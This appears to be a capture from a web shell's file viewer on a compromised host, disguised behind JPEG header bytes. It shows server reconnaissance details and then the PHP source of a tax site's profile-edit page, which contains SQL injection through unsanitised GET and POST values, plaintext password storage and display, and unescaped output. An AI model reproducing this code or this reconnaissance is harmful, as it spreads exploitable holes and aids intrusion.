ÿØÿà JPEG ÿþ;
| Server IP : 68.65.120.201 / Your IP : 216.73.216.221 Web Server : LiteSpeed System : Linux server179.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64 User : taxhyuvu ( 2294) PHP Version : 8.1.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /proc/self/root/proc/self/root/home/./taxhyuvu/./././public_html/ |
Upload File : |
<?php
include("admin/db.php");
$id=$_GET['id'];
?>
<?php
Session_start();
if(isset($_SESSION['logedin']) && $_SESSION['logedin']==true) {
$email= $_SESSION['Email_Address'];
$ademp="SELECT * FROM `signup` Where `Id` = '$id' ";
$powadem = mysqli_query($con,$ademp);
$sdm=mysqli_fetch_assoc($powadem);
if(isset($_POST['update']))
{
$nam=$_POST['nam'];
$pnum=$_POST['pnum'];
$cnam=$_POST['cnam'];
$des=$_POST['des'];
$eadd=$_POST['eadd'];
$pass=$_POST['pass'];
// $confpa=$_POST['confpa'];
$cit=$_POST['cit'];
$add=$_POST['add'];
// $date=$_POST['update'];
$updamp="UPDATE `signup` SET
`Full_Name`='$nam',`Designation`='$des',`Compname`='$cnam',
`Phone_Number`='$pnum',`Email_Address`='$eadd',`Password`='$pass',
`city`='$cit',`addres`='$add' WHERE `Id` = '$id'";
$poupdamp = mysqli_query($con,$updamp);
echo"<div class='alert alert-success alert-dismissible'>
<a href='#' class='close' data-dismiss='alert' aria-label='close'>×</a>
<strong>Profile is Updated!</strong> Kindly Reload the Page <a href='huprofile?id=$id'<strong><i>Click to Reload</i></strong></a>
</div>";
#header('location:profile?id='.$id.'');
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<!-- <title>User Signup</title> -->
<meta charset="UTF-8">
<link rel="icon" type="image/x-icon" href="icon.png">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title><?php echo $sdm['Full_Name'] ?> Profile</title>
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.6.2/dist/css/bootstrap.min.css">
<script src="https://cdn.jsdelivr.net/npm/jquery@3.6.4/dist/jquery.slim.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/popper.js@1.16.1/dist/umd/popper.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@4.6.2/dist/js/bootstrap.bundle.min.js"></script>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<style>
body {
padding-top: 0px !important;
margin: 0;
color: #2e323c;
/* background: #b5bcc1 !important; */
background: #b5bcc1 !important;
position: relative;
height: 100%;
}
.ashar
{
display: flex;
justify-content: center;
align-items: center;
margin-top: 13px;
}
.text-primary {
text-decoration: underline #b9b9b9;
color: #047580!important;
font-size: 30px;
font-family: math;
font-weight: 900;
text-align: center;
}
p
{
color: #6f757b!important;
font-size: 18px;
font-family: math;
font-weight: 900;
text-align: center;
}
.form-group
{
font-size: 18px !important;
font-family: math !important;
color: #6f757b !important;
font-weight: 600 !important;
}
.form-control {
border-color: hsla(0,0%,40%,.1)!important;
border-radius: 5px!important;
}
.form-control:hover {
transform: translateY(0px);
box-shadow: 0 2px 5px 0 rgba(5,19,79,.09);
background: #f0f0f0 !important;
/* filter: drop-shadow(0px 5px 5px rgba(0, 0, 0, 0.3)); */
transition: all .3s ease; cursor:pointer;
}
.form-control:focus {
color: #495057;
background-color: #fff;
border-color: #ffffff;
outline: 0;
box-shadow: none;
}
.row {
display: -ms-flexbox;
display: flex;
-ms-flex-wrap: wrap;
flex-wrap: wrap;
margin-right: 0px;
margin-left: 0px;
}
.card-body {
padding: 0.25rem !important;
}
.form-control {
-moz-border-radius: 5px !important;
border-radius: 5px !important;
font-size: 1.075rem !important;
background: #f0f0f0 !important;
color: #108892 !important;
font-weight: 600 !important;
}
button, input, optgroup, select, textarea {
background:no-repeat;
width:100%;
border:none;
color: #2d2d2d !important;
font-weight: 600 !important;
}
input
{
outline:none;
}
label {
color: #565656 !important;
}
.form{color:black !important;}
@media (min-width: 768px){
.col-md-11 {
-ms-flex: 0 0 91.666667%;
flex: 0 0 91.666667%;
max-width: 85.666667%;
}
}
@media (max-width: 1040px){
.h-100 {
padding-bottom: 1.5%;padding-top: 0.5%;
}}
@media (max-width: 767px){
.col-md-1 {
display: none !important;
}
p{display:none;}
.h-100{padding:5% !important;}
}
@media (max-width: 374px)
{
img{width:100% !important;}
input{font-size: 15px;}
.form-control {font-size: 15px!important;}
}
@media (max-width: 767px)
{
.text-primary{padding-bottom: 2.5%!important;}
}
.add{color:#2d2d2d !important;}
</style>
</head>
<body >
<div class="container">
<form action="" method="post">
<div class="col-xl-12 col-lg-12 col-md-12 col-sm-12 col-12 ashar">
<div class="card h-100">
<div class="card-body asd">
<div >
<center><a href="index"> <img src="Logo.png" alt="Taxhelpline" style="width: 270px; padding-bottom: 20px;"></a> </div></center>
<div class="row gutters">
<div class="col-xl-12 col-lg-12 col-md-12 col-sm-12 col-12">
<h6 class="mb-2 text-primary">Personal Details</h6>
<!-- <p>Enter your details to create your account</p> -->
</div>
<div class="col-xl-6 col-lg-6 col-md-6 col-sm-12 col-12">
<div class="form-group">
<label for="fullName">Full Name</label>
<div class="form-control row">
<div class="col-md-1"> <i class="fa fa-user" aria-hidden="true"></i> </div>
<div class="col-md-11"> <input type="text" name="nam" value="<?php echo $sdm['Full_Name']?>" placeholder="Enter Full Name" required></div>
</div>
</div>
</div>
<div class="col-xl-6 col-lg-6 col-md-6 col-sm-12 col-12">
<div class="form-group">
<label for="eMail">Phone Number</label>
<div class="form-control row">
<div class="col-md-1"> <i class="fa fa-mobile" aria-hidden="true" style="font-size: 25px;"></i> </div>
<div class="col-md-11"> <input type="text" name="pnum" value="<?php echo $sdm['Phone_Number']?>" placeholder="Enter Phone Number" required></div>
</div>
</div>
</div>
<div class="col-xl-6 col-lg-6 col-md-6 col-sm-12 col-12">
<div class="form-group">
<label for="eMail">Company Name</label>
<div class="form-control row">
<div class="col-md-1"> <i class="fa fa-building" aria-hidden="true"></i> </div>
<div class="col-md-11"> <input type="text" name="cnam" value="<?php echo $sdm['Compname']?>" placeholder="Enter Company Name" required></div>
</div>
</div>
</div>
<div class="col-xl-6 col-lg-6 col-md-6 col-sm-12 col-12">
<div class="form-group">
<label for="eMail">Designation</label>
<div class="form-control row">
<div class="col-md-1"> <i class="fa fa-id-card" aria-hidden="true"></i> </div>
<div class="col-md-11"> <input type="text" name="des" value="<?php echo $sdm['Designation']?>" placeholder="Enter Designation" required></div>
</div>
</div>
</div>
<div class="col-xl-6 col-lg-6 col-md-6 col-sm-12 col-12">
<div class="form-group">
<label for="eMail">Email Address</label>
<div class="form-control row">
<div class="col-md-1"> <i class="fa fa-envelope" aria-hidden="true"></i> </div>
<div class="col-md-11"> <input type="email" name="eadd" value="<?php echo $sdm['Email_Address']?>" placeholder="Enter Email Address" required></div>
</div>
</div>
</div>
<div class="col-xl-6 col-lg-6 col-md-6 col-sm-12 col-12">
<div class="form-group">
<label for="eMail">Password</label>
<div class="form-control row">
<div class="col-md-1"> <i class="fa fa-lock" aria-hidden="true"></i> </div>
<div class="col-md-11"> <input type="text" name="pass" value="<?php echo $sdm['Password']?>" placeholder="Enter Password" required></div>
</div>
</div>
</div>
<div class="col-xl-6 col-lg-6 col-md-6 col-sm-12 col-12">
<div class="form-group">
<label for="eMail">Registration Date</label>
<div class="form-control row">
<div class="col-md-1"> <i class="fa fa-lock" aria-hidden="true"></i> </div>
<div class="col-md-11"> <input type="text" name="confpa" value="<?php echo $sdm['Date']?>" readonly placeholder="Confirm Password" required></div>
</div>
</div>
</div>
<?php echo "<input type='hidden' name='date' value='" . date('d-M-Y') . "' required/>";
?>
<div class="col-xl-6 col-lg-6 col-md-6 col-sm-12 col-12">
<div class="form-group">
<label for="eMail">City Name</label>
<div class="form-control row">
<div class="col-md-1"> <i class="fa fa-globe" aria-hidden="true"></i> </div>
<div class="col-md-11"> <input type="text" name="cit" value="<?php echo $sdm['city']?>" placeholder="Enter City Name"></div>
</div>
</div>
</div>
<div class="col-xl-12 col-lg-12 col-md-12 col-sm-12 col-12">
<div class="form-group">
<label for="city">Address</label>
<textarea name='add' placeholder="Enter Your Address" rows="3" style="width:100%;" class="form-control add"><?php echo $sdm['addres']?></textarea>
</div>
</div>
<div class="col-xl-6 col-lg-6 col-md-6 col-sm-6 col-12">
<a href="index" style="font-size: 17px; font-family: math;font-weight: 700;" class="btn btn-danger">Back</a>
</div>
<div class="col-xl-6 col-lg-6 col-md-6 col-sm-6 col-12">
<input type="submit" id="submit" name="update" style="font-size: 17px; font-family: math;font-weight: 700; float:right; width:30% !important; color:white !important;" class="btn btn-primary" value="Update Profile">
</div>
<!-- <div class="col-xl-6 col-lg-6 col-md-6 col-sm-6 col-12">
<button type="submit" id="submit" name="update" style="font-size: 17px; font-family: math;font-weight: 700; float:right;" class="btn btn-primary">Update</button>
</div>
</div> -->
<?php echo "<input type='hidden' class='form-control mt-3' style=' height: 50px;font-size:18px;' name='update' readonly value='" . date('d-M-Y') . "' required/>";?>
</div>
</div>
</div>
</form>
</body>
</html>
<style>body {
margin: 0;
padding-top: 40px;
color: #2e323c;
background: #f5f6fa;
position: relative;
height: 100%;
}
.account-settings .user-profile {
margin: 0 0 1rem 0;
padding-bottom: 1rem;
text-align: center;
}
.account-settings .user-profile .user-avatar {
margin: 0 0 1rem 0;
}
.account-settings .user-profile .user-avatar img {
width: 90px;
height: 90px;
-webkit-border-radius: 100px;
-moz-border-radius: 100px;
border-radius: 100px;
}
.account-settings .user-profile h5.user-name {
margin: 0 0 0.5rem 0;
}
.account-settings .user-profile h6.user-email {
margin: 0;
font-size: 0.8rem;
font-weight: 400;
color: #9fa8b9;
}
.account-settings .about {
margin: 2rem 0 0 0;
text-align: center;
}
.account-settings .about h5 {
margin: 0 0 15px 0;
color: #007ae1;
}
.account-settings .about p {
font-size: 0.825rem;
}
.form-control {
border: 1px solid #cfd1d8;
-webkit-border-radius: 2px;
-moz-border-radius: 2px;
border-radius: 2px;
font-size: .825rem;
background: #ffffff;
color: #2e323c;
}
.card {
background: #ffffff;
-webkit-border-radius: 5px;
-moz-border-radius: 5px;
border-radius: 15px;
border: 0;
margin-bottom: 10px;padding:15px;}
body {line-height: 1 !important;}
<?php }
else{ echo '<script>window.open("login", "_self")</script>'; } ?>